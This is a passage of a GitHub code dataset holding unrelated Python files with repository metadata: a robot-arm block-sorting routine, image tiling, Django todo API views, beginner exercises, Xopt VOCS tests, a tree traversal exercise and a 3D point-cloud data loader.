Board.PixelColor(0, 0, 0))\n Board.RGB.show()\n\n rect = None\nsize = (640, 480)\nrotation_angle = 0\nunreachable = False\nworld_X, world_Y = 0, 0\nworld_x, world_y = 0, 0\n# ArmPi move thread \ndef move():\n global rect\n global track\n global _stop\n global get_roi\n global unreachable\n global __isRunning\n global detect_color\n global action_finish\n global rotation_angle\n global world_X, world_Y\n global world_x, world_y\n global center_list, count\n global start_pick_up, first_move\n\n # different colors blocks place coordinates(x, y, z)\n coordinate = {\n 'red': (-15 + 0.5, 12 - 0.5, 1.5),\n 'green': (-15 + 0.5, 6 - 0.5, 1.5),\n 'blue': (-15 + 0.5, 0 - 0.5, 1.5),\n }\n while True:\n if __isRunning:\n if first_move and start_pick_up: # when an object be detected for the first time \n action_finish = False\n set_rgb(detect_color)\n setBuzzer(0.1) \n result = AK.setPitchRangeMoving((world_X, world_Y - 2, 5), -90, -90, 0) # do not fill running time parameters,self-adaptive running time\n if result == False:\n unreachable = True\n else:\n unreachable = False\n time.sleep(result[2]/1000) # the thrid item of return parameter is time \n start_pick_up = False\n first_move = False\n action_finish = True\n elif not first_move and not unreachable: # not the first time to detected object\n set_rgb(detect_color)\n if track: # if it is following state\n if not __isRunning: # stop and exit flag detection\n continue\n AK.setPitchRangeMoving((world_x, world_y - 2, 5), -90, -90, 0, 20)\n time.sleep(0.02) \n track = False\n if start_pick_up: # if it is detected that the block has not removed for a period of time, start to pick up\n action_finish = False\n if not __isRunning: # stop and exit flag detection\n continue\n Board.setBusServoPulse(1, servo1 - 280, 500) # claw open\n # calculate angle at that the clamper gripper needs to rotate\n servo2_angle = getAngle(world_X, world_Y, rotation_angle)\n Board.setBusServoPulse(2, servo2_angle, 500)\n time.sleep(0.8)\n \n if not __isRunning:\n continue\n AK.setPitchRangeMoving((world_X, world_Y, 2), -90, -90, 0, 1000) # reduce height\n time.sleep(2)\n \n if not __isRunning:\n continue\n Board.setBusServoPulse(1, servo1, 500) # claw colsed\n time.sleep(1)\n \n if not __isRunning:\n continue\n Board.setBusServoPulse(2, 500, 500)\n AK.setPitchRangeMoving((world_X, world_Y, 12), -90, -90, 0, 1000) # Armpi robot arm up\n time.sleep(1)\n \n if not __isRunning:\n continue\n # Sort and place different colored blocks \n result = AK.setPitchRangeMoving((coordinate[detect_color][0], coordinate[detect_color][1], 12), -90, -90, 0) \n time.sleep(result[2]/1000)\n \n if not __isRunning:\n continue\n servo2_angle = getAngle(coordinate[detect_color][0], coordinate[detect_color][1], -90)\n Board.setBusServoPulse(2, servo2_angle, 500)\n time.sleep(0.5)\n\n if not __isRunning:\n continue\n AK.setPitchRangeMoving((coordinate[detect_color][0], coordinate[detect_color][1], coordinate[detect_color][2] + 3), -90, -90, 0, 500)\n time.sleep(0.5)\n \n if not __isRunning:\n continue\n AK.setPitchRangeMoving((coordinate[detect_color]), -90, -90, 0, 1000)\n time.sleep(0.8)\n \n if not __isRunning:\n continue\n Board.setBusServoPulse(1, servo1 - 200, 500) # gripper open,put down object\n time.sleep(0.8)\n \n if not __isRunning:\n continue \n AK.setPitchRangeMoving((coordinate[detect_color][0], coordinate[detect_color][1], 12), -90, -90, 0, 800)\n time.sleep(0.8)\n\n initMove() # back to initial position \n time.sleep(1.5)\n\n detect_color = 'None'\n first_move = True\n get_roi = False\n action_finish = True\n start_pick_up = False\n set_rgb(detect_color)\n else:\n time.sleep(0.01)\n else:\n if _stop:\n _stop = False\n Board.setBusServoPulse(1, servo1 - 70, 300)\n time.sleep(0.5)\n Board.setBusServoPulse(2, 500, 500)\n AK.setPitchRangeMoving((0, 10, 10), -30, -30, -90, 1500)\n time.sleep(1.5)\n time.sleep(0.01)\n","repo_name":"rtkartista/RobotSystems-avadhanr","sub_path":"armpi/Functions/Motion.py","file_name":"Motion.py","file_ext":"py","file_size_in_byte":7272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43493634114","text":"from PIL import Image\nfrom tqdm.auto import tqdm\nimport pathlib\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport multiprocessing as mp\nfrom time import sleep\n\nDATA_ROOT = \"/data1/Raw/Reddit/full/EarthPorn\"\nOUTPUT_ROOT = \"/data2/goghgetpaper/imgs/\"\nBATCH_SIZE = 1000\n\npath = pathlib.Path(DATA_ROOT)\nfiles = list(path.glob('**/*.*'))\nprint(len(files))\n\n\ndef split_image(file):\n filename = file.stem\n if pathlib.Path(OUTPUT_ROOT, filename + '-0.jpg').exists():\n return\n\n im = None\n with Image.open(file).convert('RGB') as img:\n im = img.copy()\n\n width, height = im.size\n\n cols = width//64\n rows = height//64\n\n c = 0\n for j in range(rows):\n for i in range(cols):\n out_path = pathlib.Path(\n OUTPUT_ROOT, filename + '-{}.jpg'.format(c))\n if out_path.exists():\n return\n\n out_path.parent.mkdir(parents=True, exist_ok=True)\n\n left = i*64\n top = j*64\n right = (i+1)*64\n bottom = (j+1)*64\n\n temp = im.crop((left, top, right, bottom))\n\n try:\n temp.save(out_path)\n except Exception as e:\n # print(file, e)\n pass\n\n c += 1\n\n\ndef break64(file):\n with Image.open(file).convert('RGB') as im:\n width, height = im.size\n images = []\n\n cols = width//64\n rows = height//64\n\n for j in range(rows):\n for i in range(cols):\n left = i*64\n top = j*64\n right = (i+1)*64\n bottom = (j+1)*64\n images.append(im.crop((left, top, right, bottom)))\n return images, rows, cols\n\n\ndef getImageSlices(file):\n filename = file.stem\n if pathlib.Path(OUTPUT_ROOT, filename + '-0.jpg').exists():\n return\n\n imgs, r, c = break64(file)\n\n for i, im in enumerate(imgs):\n out_path = pathlib.Path(OUTPUT_ROOT, filename + '-{}.jpg'.format(i))\n out_path.parent.mkdir(parents=True, exist_ok=True)\n\n # q.put([im, out_path])\n\n try:\n im.save(out_path)\n except Exception as e:\n pass\n\n\n# def getImage(file):\n# with Image.open(file).convert('RGB') as im:\n# return im.copy()\n\n\n# for i in tqdm(range(0, len(files), BATCH_SIZE)):\n# processes = []\n\n# image_batch = []\n\n# q = mp.Queue()\n\n# for j in range(i, i+BATCH_SIZE):\n# image_batch.append(getImage(files[j]))\n\n# for b in range(BATCH_SIZE):\n# p = mp.Process(target=getImageSlices, args=(image_batch[b], q))\n# processes.append(p)\n# p.start()\n\n# for process in processes:\n# process.join()\n\n# while not q.empty():\n# im, out_path = q.get()\n\n# try:\n# im.save(out_path)\n# except Exception as e:\n# pass\n\nwith mp.Pool() as p:\n with tqdm(total=len(files)) as pbar:\n for i, _ in enumerate(p.imap_unordered(split_image, files)):\n pbar.update()\n\n# for file in tqdm(files):\n# split_image(file)\n","repo_name":"axyyu/gogh-get-paper","sub_path":"process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"44119360485","text":"from rest_framework.generics import get_object_or_404\nfrom rest_framework.views import APIView\nfrom rest_framework import status\nfrom rest_framework.response import Response\n\nfrom todo_list.models import ToDoList\nfrom todo_list.serializers import ToDoListSerializer, ToDoListCreateSerializer, ToDoListingSerializer, ToDoListUpdateSerializer\nfrom todo_list import messages\n\nclass ToDoListView(APIView):\n def get(self, request):\n if not request.user.is_authenticated:\n return Response({\"message\":messages.REQUIRED_LOGIN}, status=status.HTTP_401_UNAUTHORIZED)\n todo_list = ToDoList.objects.filter(user=request.user) # 본인이 작성한 글만 가져온다\n serializer = ToDoListingSerializer(todo_list, many=True) # 복수의 객체를 시리얼화하기 때문에 many=True작성\n return Response(serializer.data, status=status.HTTP_200_OK)\n \n def post(self, request):\n if not request.user.is_authenticated:\n return Response({\"message\":messages.REQUIRED_LOGIN}, status=status.HTTP_401_UNAUTHORIZED)\n serializer = ToDoListCreateSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save(user=request.user)\n return Response(\n {\"title\":serializer.data.get('title'),\n \"message\":messages.SUCCESS_CREATE_LIST\n }, \n status=status.HTTP_200_OK\n )\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ToDoListDetailView(APIView):\n def get(self, request, todo_list_id):\n if not request.user.is_authenticated:\n return Response({\"message\":messages.REQUIRED_LOGIN}, status=status.HTTP_401_UNAUTHORIZED)\n todo_list = get_object_or_404(ToDoList, id=todo_list_id)\n if request.user != todo_list.user:\n return Response({\"message\":messages.NOT_AUTHOR_VIEW}, status=status.HTTP_403_FORBIDDEN)\n serializer = ToDoListSerializer(todo_list)\n return Response(serializer.data, status=status.HTTP_200_OK)\n \n def put(self, request, todo_list_id):\n todo_list = get_object_or_404(ToDoList, id=todo_list_id)\n if request.user == todo_list.user: # 본인일 경우에만 글 수정\n serializer = ToDoListUpdateSerializer(todo_list, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n else:\n return Response({\"message\":messages.NOT_HAVE_PERMISSION}, status=status.HTTP_403_FORBIDDEN)\n \n def delete(self, request, todo_list_id):\n todo_list = get_object_or_404(ToDoList, id=todo_list_id)\n if request.user == todo_list.user:\n todo_list.delete()\n return Response({\"message\":messages.SUCCESS_DELETE_LIST}, status=status.HTTP_204_NO_CONTENT)\n else:\n return Response({\"message\":messages.NOT_HAVE_PERMISSION}, status=status.HTTP_403_FORBIDDEN)","repo_name":"wooseokjang202302/DRF_todo_list","sub_path":"todo_list/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74725215127","text":"import math\n\n# getting input\n# name = input('What is your name? ')\n# color = input('what is your favorite color? ')\n# print('hi ' + name )\n# print('your favorite color is ' + color)\n\n# type converter\n# birth_year = input ('Birth Year: ')\n# print(type(birth_year))\n# age = 2019 - int(birth_year)\n# print(type(age))\n# print (age)\n\n# weight_pounds = input ('weight in pounds: ')\n# weight_KG = float(weight_pounds) * 0.453592\n# print ('your weight is ' + str(weight_KG))\n\n# Strings\ncourse = '''\nHi John,\nThanks for your support\nJoe\n'''\n#course = \"Python's course for beginner\"\nanother = course.upper()\nprint(course, another)\nprint(len(course))\n#print(course.find('P'))\n#print(course.replace('beginner', 'Absolute begineers'))\n\nif ('Python' in course):\n print (\"this is a python course\")\nelse:\n print (\"this is NOT a python course\")\n\n\n#first = 'john'\n#last = 'smith'\n#message = first + ' [' + last + ' ] is a coder'\n#msg = f'{first} [{last}] is a coder'\n#print (message, msg)\n\n# x=2.9\n# print(round(x))\n# print(abs(-2.9))\n# print(math.atan(x))\n\ngood_credit = True\nprice = 1000000\n\ndown_payment2 = price * 0.2\nif good_credit:\n down_payment = price * 0.1\n print(f\"down payment is ${down_payment}\")\nelse:\n down_payment = price * 0.2\n print(f\"down payment is ${down_payment}\")\n","repo_name":"joexu28/python-programming","sub_path":"app2.py","file_name":"app2.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10367677622","text":"from copy import deepcopy\n\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nfrom xopt.resources.testing import TEST_VOCS_BASE, TEST_VOCS_DATA\nfrom xopt.vocs import ObjectiveEnum, VOCS\n\n\nclass TestVOCS(object):\n def test_init(self):\n from xopt.vocs import VOCS\n\n # test various configurations\n vocs = VOCS(\n variables={\"x\": [0, 1]},\n objectives={\"f\": \"MINIMIZE\"},\n )\n assert vocs.n_inputs == 1\n assert vocs.n_outputs == 1\n assert vocs.n_constraints == 0\n\n def test_empty_objectives(self):\n VOCS(\n variables={\"x\": [0, 1]},\n )\n\n def test_from_yaml(self):\n Y = \"\"\"\n variables:\n a: [0, 1e3] # Note that 1e3 usually parses as a str with YAML.\n b: [-1, 1]\n objectives:\n c: maximize\n d: minimize\n constraints:\n e: ['Less_than', 2]\n f: ['greater_than', 0]\n constants:\n g: 1234\n\n \"\"\"\n\n vocs = VOCS.from_yaml(Y)\n assert vocs.constraint_names == [\"e\", \"f\"]\n assert vocs.variables == {\"a\": [0, 1e3], \"b\": [-1, 1]}\n assert vocs.objectives == {\"c\": \"MAXIMIZE\", \"d\": \"MINIMIZE\"}\n assert vocs.constants == {\"g\": 1234}\n\n assert vocs.objectives[\"c\"] == ObjectiveEnum.MAXIMIZE\n assert vocs.objectives[\"d\"] == ObjectiveEnum.MINIMIZE\n\n assert vocs.constraints[\"e\"] == [\"LESS_THAN\", 2]\n assert vocs.constraints[\"f\"] == [\"GREATER_THAN\", 0]\n\n assert vocs.n_inputs == 3\n assert vocs.n_outputs == 4\n\n def test_random_inputs(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n n_samples = 10\n data = pd.DataFrame(vocs.random_inputs(n_samples))\n assert data.shape == (n_samples, vocs.n_inputs)\n\n TEST_VOCS_BASE.random_inputs(5, include_constants=False)\n\n def test_serialization(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n vocs.model_dump_json()\n\n vocs.variables[\"a\"] = np.array([1, 2])\n vocs.model_dump_json()\n\n def test_properties(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n\n assert vocs.n_variables == 2\n assert vocs.n_inputs == 3\n assert vocs.n_outputs == 2\n assert vocs.n_constraints == 1\n assert vocs.n_objectives == 1\n assert vocs.variable_names == [\"x1\", \"x2\"]\n assert vocs.objective_names == [\"y1\"]\n\n # modify the vocs and retest\n vocs.variables = {name: vocs.variables[name] for name in [\"x1\"]}\n assert vocs.n_variables == 1\n assert vocs.n_inputs == 2\n assert vocs.n_outputs == 2\n assert vocs.variable_names == [\"x1\"]\n\n def test_custom_bounds(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n\n custom_bounds = {\"x1\": [0.5, 0.75], \"x2\": [7.5, 15.0]}\n\n random_input_data = vocs.random_inputs(100, custom_bounds=custom_bounds)\n random_input_data = pd.DataFrame(random_input_data)\n assert all(random_input_data[\"x1\"] < 0.75)\n assert all(random_input_data[\"x1\"] > 0.5)\n assert all(random_input_data[\"x2\"] > 7.5)\n assert all(random_input_data[\"x2\"] < 10.0)\n\n def test_duplicate_outputs(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n assert vocs.output_names == [\"y1\", \"c1\"]\n\n vocs.objectives = {\"y1\": \"MAXIMIZE\", \"d1\": \"MINIMIZE\"}\n vocs.observables = [\"y1\", \"c1\"]\n\n assert vocs.output_names == [\"d1\", \"y1\", \"c1\"]\n assert vocs.n_outputs == 3\n\n def test_convert_dataframe_to_inputs(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n test_data = TEST_VOCS_DATA\n\n with pytest.raises(ValueError):\n vocs.convert_dataframe_to_inputs(test_data)\n\n res = vocs.convert_dataframe_to_inputs(test_data[vocs.variable_names])\n assert \"cnt1\" in res\n\n def test_validate_input_data(self):\n test_vocs = deepcopy(TEST_VOCS_BASE)\n\n # test good data\n test_vocs.validate_input_data(pd.DataFrame({\"x1\": 0.5, \"x2\": 1.0}, index=[0]))\n\n # test bad data\n with pytest.raises(ValueError):\n test_vocs.validate_input_data(\n pd.DataFrame({\"x1\": 0.5, \"x2\": 11.0}, index=[0])\n )\n\n with pytest.raises(ValueError):\n test_vocs.validate_input_data(\n pd.DataFrame({\"x1\": [-0.5, 2.5], \"x2\": [1.0, 11.0]})\n )\n\n def test_select_best(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n test_data = pd.DataFrame(\n {\n \"x1\": [0.1, 0.1, 0.1, 0.1],\n \"x2\": [0.1, 0.1, 0.1, 0.1],\n \"c1\": [1.0, 0.0, 1.0, 0.0],\n \"y1\": [0.5, 0.1, 1.0, 1.5],\n }\n )\n\n # test maximization\n vocs.objectives[vocs.objective_names[0]] = \"MAXIMIZE\"\n idx, val = vocs.select_best(test_data)\n assert idx == [2]\n assert val == [1.0]\n\n vocs.constraints = {}\n idx, val = vocs.select_best(test_data)\n assert idx == [3]\n assert val == [1.5]\n\n # test returning multiple best values -- sorted by best value\n idx, val = vocs.select_best(test_data, 2)\n assert np.allclose(idx, np.array([3, 2]))\n assert np.allclose(val, np.array([1.5, 1.0]))\n\n # test minimization\n vocs.objectives[vocs.objective_names[0]] = \"MINIMIZE\"\n vocs.constraints = {\"c1\": [\"GREATER_THAN\", 0.5]}\n idx, val = vocs.select_best(test_data)\n assert idx == [0]\n assert val == [0.5]\n\n vocs.constraints = {}\n idx, val = vocs.select_best(test_data)\n assert idx == 1\n assert val == 0.1\n\n def test_normalize_inputs(self):\n vocs = deepcopy(TEST_VOCS_BASE)\n test_data = pd.DataFrame({\"x1\": [0.5, 0.2], \"x2\": [0.5, 0.75]})\n normed_data = vocs.normalize_inputs(test_data)\n assert normed_data[\"x1\"].to_list() == [0.5, 0.2]\n assert normed_data[\"x2\"].to_list() == [0.05, 0.075]\n\n assert np.equal(\n vocs.denormalize_inputs(normed_data)[vocs.variable_names].to_numpy(),\n test_data[vocs.variable_names].to_numpy()\n ).all()\n\n test_data.pop(\"x1\")\n normed_data = vocs.normalize_inputs(test_data)\n assert normed_data[\"x2\"].to_list() == [0.05, 0.075]\n\n assert np.equal(\n vocs.denormalize_inputs(normed_data)[test_data.columns].to_numpy(),\n test_data[test_data.columns].to_numpy()\n ).all()\n\n test_data = pd.DataFrame({\"x1\": 0.5}, index=[0])\n normed_data = vocs.normalize_inputs(test_data)\n assert normed_data[\"x1\"].to_list() == [0.5]\n\n assert np.equal(\n vocs.denormalize_inputs(normed_data)[test_data.columns].to_numpy(),\n test_data[test_data.columns].to_numpy()\n ).all()\n\n # test with extra data\n test_data = pd.DataFrame({\"x1\": [0.5, 0.2], \"x2\": [0.5, 0.75], \"a\": [1, 1]})\n normed_data = vocs.normalize_inputs(test_data)\n assert {\"x1\", \"x2\"} == set(normed_data.columns)\n\n assert np.equal(\n vocs.denormalize_inputs(normed_data)[vocs.variable_names].to_numpy(),\n test_data[vocs.variable_names].to_numpy()\n ).all()\n","repo_name":"ChristopherMayes/Xopt","sub_path":"tests/test_vocs.py","file_name":"test_vocs.py","file_ext":"py","file_size_in_byte":7142,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"31"} +{"seq_id":"42228852690","text":"\"\"\"\nShow how to use the Euler tour traversal to compute the level number\nf(p), as defined in Section 8.3.2, of each position in a binary tree T.\n\"\"\"\n\nfrom EulerTour import BinaryEulerTour\nfrom LinkedBinaryTree import LinkedBinaryTree\n\nclass LevelTour(BinaryEulerTour):\n def _hook_invisit(self, p, d, path):\n ans = 0\n for val in path:\n ans = 2 * ans + val + 1\n print(p.element(),ans)\n\nt = LinkedBinaryTree()\nroot = t._add_root(0)\nl = t._add_left(root, 1)\nr = t._add_right(root, 2)\nt._add_left(l, 3)\nt._add_right(l, 4)\nt._add_left(r, 5)\nt._add_right(r, 6)\n\"\"\"\n x\n x x\n x x x x\n\"\"\"\n\na = LevelTour(t)\na.execute()\n","repo_name":"Boberkraft/Data-Structures-and-Algorithms-in-Python","sub_path":"chapter 8/R-8.17.py","file_name":"R-8.17.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7131034656","text":"import numpy as np\nimport random\nimport math\nimport os\nimport threading\nimport queue\nimport sys\nimport h5py\nimport copy\nimport trimesh\nsys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), '../preprocessing'))\nsys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), '../utils'))\nimport cal_field\nimport data_util\nimport time\n\nFETCH_BATCH_SIZE = 32\nBATCH_SIZE = 32\nHEIGHT = 192\nWIDTH = 256\nPOINTCLOUDSIZE = 16384\nOUTPUTPOINTS = 1024\nREEBSIZE = 1024\n\n\ndef get_filelist(lst_dir, maxnverts, minsurbinvox, cats, cats_info, type):\n for cat in cats:\n cat_id = cats_info[cat]\n inputlistfile = os.path.join(lst_dir, cat_id + type + \".lst\")\n with open(inputlistfile, 'r') as f:\n lines = f.read().splitlines()\n file_lst = [[cat_id, line.strip()] for line in lines]\n return file_lst\n\nclass Pt_sdf_img(threading.Thread):\n \n def __init__(self, FLAGS, listinfo=None, info=None, qsize=64, cats_limit=None, shuffle=True):\n super(Pt_sdf_img, self).__init__()\n self.queue = queue.Queue(qsize)\n self.stopped = False\n self.bno = 0\n self.listinfo = listinfo\n self.img_dir = info['rendered_dir']\n self.mesh_dir = info['norm_mesh_dir']\n self.gvf_dir = info['gvf_dir']\n self.cache = {} # from index to (point_set, cls, seg) tuple\n self.cache_size = 60000\n self.data_num = len(self.listinfo)\n self.FLAGS = FLAGS\n self.shuffle = shuffle\n self.num_batches = int(self.data_num / self.FLAGS.batch_size)\n self.cats_limit, self.epoch_amount = self.set_cat_limit(cats_limit)\n self.data_order = list(range(len(listinfo)))\n self.order = self.data_order\n self.surf_num = self.FLAGS.num_pnts - self.FLAGS.uni_num\n self.unigrid = self.get_unigrid(FLAGS.res)\n\n def set_cat_limit(self, cats_limit):\n epoch_amount = 0\n for cat, amount in cats_limit.items():\n cats_limit[cat] = min(self.FLAGS.cat_limit, amount)\n epoch_amount += cats_limit[cat]\n print(\"epoch_amount \", epoch_amount)\n print(\"cats_limit \", cats_limit)\n return cats_limit, epoch_amount\n\n def get_img_dir(self, cat_id, obj):\n img_dir = os.path.join(self.img_dir, cat_id, obj)\n return img_dir, None\n\n\n def get_gvf_h5_filenm(self, cat_id, obj):\n return os.path.join(self.gvf_dir, cat_id, obj, \"gvf_sample.h5\")\n\n def pc_normalize(self, pc, centroid=None):\n\n \"\"\" pc: NxC, return NxC \"\"\"\n l = pc.shape[0]\n\n if centroid is None:\n centroid = np.mean(pc, axis=0)\n\n pc = pc - centroid\n # m = np.max(pc, axis=0)\n m = np.max(np.sqrt(np.sum(pc ** 2, axis=1)))\n\n pc = pc / m\n\n return pc, centroid, m\n\n def __len__(self):\n return self.epoch_amount\n\n def memory(self):\n \"\"\"\n Get node total memory and memory usage\n \"\"\"\n with open('/proc/meminfo', 'r') as mem:\n ret = {}\n tmp = 0\n for i in mem:\n sline = i.split()\n if str(sline[0]) == 'MemTotal:':\n ret['total'] = int(sline[1])\n elif str(sline[0]) in ('MemFree:', 'Buffers:', 'Cached:'):\n tmp += int(sline[1])\n ret['free'] = tmp\n ret['used'] = int(ret['total']) - int(ret['free'])\n return ret\n\n\n\n def get_unigrid(self, res):\n half_grid_size = 1.0 / self.FLAGS.res\n x = np.linspace(-1.0+half_grid_size, 1.0-half_grid_size, num=res).astype(np.float32)\n y = np.linspace(-1.0+half_grid_size, 1.0-half_grid_size, num=res).astype(np.float32)\n z = np.linspace(-1.0+half_grid_size, 1.0-half_grid_size, num=res).astype(np.float32)\n xv, yv, zv = np.meshgrid(x,y,z, indexing='ij')\n print(\"get unigrid xv.shape \", xv.shape)\n return np.stack([xv.reshape(-1), yv.reshape(-1), zv.reshape(-1)], axis=1)\n\n\n def gvf_otf(self, gt_pnts, gt_pnt_normals):\n pnts = np.zeros((0,3))\n if self.FLAGS.uni_num > 0:\n half_grid_size = 1.0 / self.FLAGS.res\n uni_choice = np.asarray(random.sample(range(self.FLAGS.res**3), self.FLAGS.uni_num), dtype=np.int32)\n uni_pnts = self.unigrid[uni_choice] + np.random.uniform(-half_grid_size, half_grid_size, size=self.FLAGS.uni_num*3).reshape(-1,3)\n pnts = np.concatenate([pnts, uni_pnts], axis=0)\n if self.surf_num > 0:\n surf_choice = np.asarray(random.sample(range(gt_pnts.shape[0]), self.surf_num), dtype=np.int32)\n points = gt_pnts[surf_choice]\n normals = gt_pnt_normals[surf_choice]\n surf_pnts = data_util.add_normal_jitters(points, normals, height=0.1, span=0.05)\n pnts = np.concatenate([pnts, surf_pnts], axis=0)\n gvfs = cal_field.cal_field(pnts, gt_pnts, gpu=2)\n return pnts, gvfs\n\n\n def get_gt_pnts(self, mesh_dir, cat_id, obj):\n obj_file = os.path.join(mesh_dir, cat_id, obj, \"pc_norm.obj\")\n mesh = trimesh.load_mesh(obj_file)\n # nodes, face_index = trimesh.sample.sample_surface_even(mesh, count)\n # normalize nodes\n # mesh.vertices = data_util.normalize_pc(mesh.vertices)\n return mesh.vertices, mesh.vertex_normals\n\n def getitem(self, index):\n uni_pnts, surf_pnts, uni_gvfs, surf_gvfs, pnts, gvfs = None, None, None, None, None, None\n cat_id, obj, num = self.listinfo[index]\n if self.FLAGS.source == \"fly\":\n gt_pnts, gt_pnt_normals = self.get_gt_pnts(self.mesh_dir, cat_id, obj)\n pnts, gvfs = self.gvf_otf(gt_pnts, gt_pnt_normals)\n else:\n gvf_file = self.get_gvf_h5_filenm(cat_id, obj)\n uni_pnts, surf_pnts, uni_gvfs, surf_gvfs = self.get_gvf_h5(gvf_file, cat_id, obj)\n # pnts, gvfs = self.get_gvf_h5_hard(gvf_file, cat_id, obj)\n img_dir, img_file_lst = self.get_img_dir(cat_id, obj)\n return uni_pnts, surf_pnts, uni_gvfs, surf_gvfs, pnts, gvfs, img_dir, img_file_lst, cat_id, obj, num\n\n def get_gvf_h5(self, gvf_h5_file, cat_id, obj):\n # print(gvf_h5_file)\n uni_pnts, surf_pnts, uni_gvfs, surf_gvfs = None, None, None, None\n try:\n h5_f = h5py.File(gvf_h5_file, 'r')\n if self.FLAGS.uni_num >0:\n if 'uni_pnts' in h5_f.keys() and 'uni_gvfs' in h5_f.keys():\n uni_pnts = h5_f['uni_pnts'][:].astype(np.float32)\n uni_gvfs = h5_f['uni_gvfs'][:].astype(np.float32)\n else:\n raise Exception(cat_id, obj, \"no uni gvf and sample\")\n if self.surf_num >0:\n if ('surf_pnts' in h5_f.keys() and 'surf_gvfs' in h5_f.keys()):\n surf_pnts = h5_f['surf_pnts'][:].astype(np.float32)\n surf_gvfs = h5_f['surf_gvfs'][:].astype(np.float32)\n else:\n raise Exception(cat_id, obj, \"no surf gvf and sample\")\n except:\n print(\"h5py wrong:\", gvf_h5_file)\n finally:\n h5_f.close()\n return uni_pnts, surf_pnts, uni_gvfs, surf_gvfs\n\n def get_gvf_h5_hard(self, gvf_h5_file, cat_id, obj):\n # print(gvf_h5_file)\n uni_pnts, surf_pnts, uni_gvfs, surf_gvfs = None, None, None, None\n h5_f = h5py.File(gvf_h5_file, 'r')\n pnts = np.zeros((0, 3))\n gvfs = np.zeros((0, 3))\n if self.FLAGS.uni_num >0:\n indexlen = 32768*2\n if self.FLAGS.uni_num > indexlen:\n uni_choice = np.random.randint(indexlen, size=self.FLAGS.uni_num)\n else:\n uni_choice = np.asarray(random.sample(range(indexlen), self.FLAGS.uni_num), dtype=np.int32)\n pnts = np.concatenate([pnts, h5_f['uni_pnts'][np.sort(uni_choice), :]], axis=0)\n gvfs = np.concatenate([gvfs, h5_f['uni_gvfs'][np.sort(uni_choice), :]], axis=0)\n if self.surf_num >0:\n indexlen = 32768*3\n if self.FLAGS.surfrange[0] > 0.0 or self.FLAGS.surfrange[1] < 0.15:\n dist = np.linalg.norm(surf_gvfs, axis=1)\n indx = np.argwhere((dist >= self.FLAGS.surfrange[0]) & (dist <= self.FLAGS.surfrange[1])).reshape(\n -1)\n indexlen = indx.shape[0]\n if self.surf_num > indexlen:\n surf_choice = np.random.randint(indexlen, size=self.surf_num)\n else:\n surf_choice = np.asarray( random.sample(range(indexlen), self.surf_num), dtype=np.int32)\n pnts = np.concatenate([pnts, h5_f['surf_pnts'][np.sort(surf_choice), :]], axis=0)\n gvfs = np.concatenate([gvfs, h5_f['surf_gvfs'][np.sort(surf_choice), :]], axis=0)\n return pnts, gvfs\n\n # def get_img_old(self, img_dir, num, file_lst):\n # params = np.loadtxt(img_dir + \"/rendering_metadata.txt\")\n # img_file = os.path.join(img_dir, file_lst[num])\n # # azimuth, elevation, in-plane rotation, distance, the field of view.\n # param = params[num, :].astype(np.float32)\n # # cam_mat, cam_pos = self.camera_info(self.degree2rad(param))\n # img_arr = cv2.imread(img_file, cv2.IMREAD_UNCHANGED)[:,:,:3].astype(np.float32) / 255.\n # return img_arr, cam_mat, cam_pos\n\n def get_img(self, img_dir, num):\n img_h5 = os.path.join(img_dir, \"%02d.h5\"%num)\n trans_mat, obj_rot_mat = None, None\n with h5py.File(img_h5, 'r') as h5_f:\n trans_mat = h5_f[\"trans_mat\"][:].astype(np.float32)\n obj_rot_mat = h5_f[\"obj_rot_mat\"][:].astype(np.float32)\n if self.FLAGS.alpha:\n img_arr = h5_f[\"img_arr\"][:].astype(np.float32)\n img_arr[:, :, :4] = img_arr[:,:,:4] / 255.\n else:\n img_raw = h5_f[\"img_arr\"][:]\n img_arr = img_raw[:, :, :3]\n img_arr = np.clip(img_arr, 0, 255)\n img_arr = img_arr.astype(np.float32) / 255.\n\n return img_arr, trans_mat, obj_rot_mat\n\n def degree2rad(self, params):\n params[0] = np.deg2rad(params[0] + 180.0)\n params[1] = np.deg2rad(params[1])\n params[2] = np.deg2rad(params[2])\n return params\n\n def unit(self, v):\n norm = np.linalg.norm(v)\n if norm == 0:\n return v\n return v / norm\n\n def camera_info(self, param):\n az_mat = self.get_az(param[0])\n el_mat = self.get_el(param[1])\n inl_mat = self.get_inl(param[2])\n cam_mat = np.transpose(np.matmul(np.matmul(inl_mat, el_mat), az_mat))\n cam_pos = self.get_cam_pos(param)\n return cam_mat, cam_pos\n\n def get_cam_pos(self, param):\n camX = 0\n camY = 0\n camZ = param[3]\n cam_pos = np.array([camX, camY, camZ])\n return -1 * cam_pos\n\n def get_az(self, az):\n cos = np.cos(az)\n sin = np.sin(az)\n mat = np.asarray([cos, 0.0, sin, 0.0, 1.0, 0.0, -1.0*sin, 0.0, cos], dtype=np.float32)\n mat = np.reshape(mat, [3,3])\n return mat\n 